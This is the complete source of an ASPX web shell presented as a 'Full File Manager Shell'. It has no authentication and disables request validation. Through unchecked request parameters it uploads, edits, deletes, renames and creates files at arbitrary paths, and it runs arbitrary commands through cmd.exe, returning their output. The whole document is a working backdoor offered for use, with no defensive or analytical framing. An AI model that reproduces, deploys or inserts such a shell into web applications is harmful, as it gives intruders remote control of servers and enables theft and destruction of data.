<%@ Page Language="C#" ValidateRequest="false" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Diagnostics" %> ASPX Full File Manager

ASPX Full File Manager Shell

<% string rootPath = Server.MapPath("."); string currentPath = Request["path"]; if(string.IsNullOrEmpty(currentPath)) currentPath = rootPath; // ---- UPLOAD FILE ---- if(IsPostBack && Request.Files["upload"] != null && Request.Files["upload"].ContentLength > 0){ string filename = Path.GetFileName(Request.Files["upload"].FileName); string savePath = Path.Combine(currentPath, filename); try{ Request.Files["upload"].SaveAs(savePath); Response.Write("

Uploaded: "+filename+"

"); }catch(Exception ex){ Response.Write("

Upload Error: "+ex.Message+"

"); } } // ---- EDIT / SAVE FILE ---- if(!string.IsNullOrEmpty(Request["savefile"])){ string target = Request["savefile"]; string newContent = Request.Unvalidated["content"]; // unfiltered raw content try{ File.WriteAllText(target,newContent); Response.Write("

Saved File: "+Path.GetFileName(target)+"

"); }catch(Exception ex){ Response.Write("

Save Error: "+ex.Message+"

"); } } // ---- DELETE FILE/FOLDER ---- if(!string.IsNullOrEmpty(Request["delete"])){ string target = Request["delete"]; try{ if(Directory.Exists(target)) Directory.Delete(target,true); else if(File.Exists(target)) File.Delete(target); Response.Write("

Deleted: "+Path.GetFileName(target)+"

"); }catch(Exception ex){ Response.Write("

Delete Error: "+ex.Message+"

"); } } // ---- RENAME ---- if(!string.IsNullOrEmpty(Request["rename"]) && !string.IsNullOrEmpty(Request["newname"])){ string oldPath = Request["rename"]; string newPath = Path.Combine(Path.GetDirectoryName(oldPath),Request["newname"]); try{ if(Directory.Exists(oldPath)) Directory.Move(oldPath,newPath); else if(File.Exists(oldPath)) File.Move(oldPath,newPath); Response.Write("

Renamed to: "+Request["newname"]+"

"); }catch(Exception ex){ Response.Write("

Rename Error: "+ex.Message+"

"); } } // ---- CREATE FILE/FOLDER ---- if(!string.IsNullOrEmpty(Request["newfolder"])){ string newDir = Path.Combine(currentPath, Request["newfolder"]); try{ Directory.CreateDirectory(newDir); Response.Write("

Folder Created: "+Request["newfolder"]+"

"); } catch(Exception ex){ Response.Write("

Error: "+ex.Message+"

"); } } if(!string.IsNullOrEmpty(Request["newfile"])){ string newFile = Path.Combine(currentPath, Request["newfile"]); try{ File.WriteAllText(newFile,""); Response.Write("

File Created: "+Request["newfile"]+"

"); } catch(Exception ex){ Response.Write("

Error: "+ex.Message+"

"); } } // ---- CMD EXECUTION ---- if(!string.IsNullOrEmpty(Request["cmd"])){ string command = Request.Unvalidated["cmd"]; try{ Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c "+command; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.StartInfo.CreateNoWindow = true; p.Start(); string output = p.StandardOutput.ReadToEnd(); p.WaitForExit(); Response.Write("
"+Server.HtmlEncode(output)+"
"); }catch(Exception ex){ Response.Write("

CMD Error: "+ex.Message+"

"); } } // ---- EDIT FORM ---- string editFile = Request["edit"]; if(!string.IsNullOrEmpty(editFile) && File.Exists(editFile)){ string content = File.ReadAllText(editFile); %>

Editing: <%= Path.GetFileName(editFile) %>



<% } // ---- DIRECTORY LISTING ---- try{ DirectoryInfo di = new DirectoryInfo(currentPath); if(di.Parent!=null) Response.Write("

[Parent]

"); Response.Write(""); Response.Write(""); foreach(string dir in Directory.GetDirectories(currentPath)){ DirectoryInfo d = new DirectoryInfo(dir); Response.Write(""); Response.Write(""); } foreach(string file in Directory.GetFiles(currentPath)){ FileInfo f = new FileInfo(file); Response.Write(""); Response.Write(""); } Response.Write("
TypeNameSizeActions
[DIR]"+d.Name+"-Open | Delete
[F]"+f.Name+""+f.Length+"Download | Edit | Delete
"); }catch(Exception ex){ Response.Write("

Error: "+ex.Message+"

");} %>

Upload File to Current Directory


Run CMD Command

Current Directory: <%=currentPath %>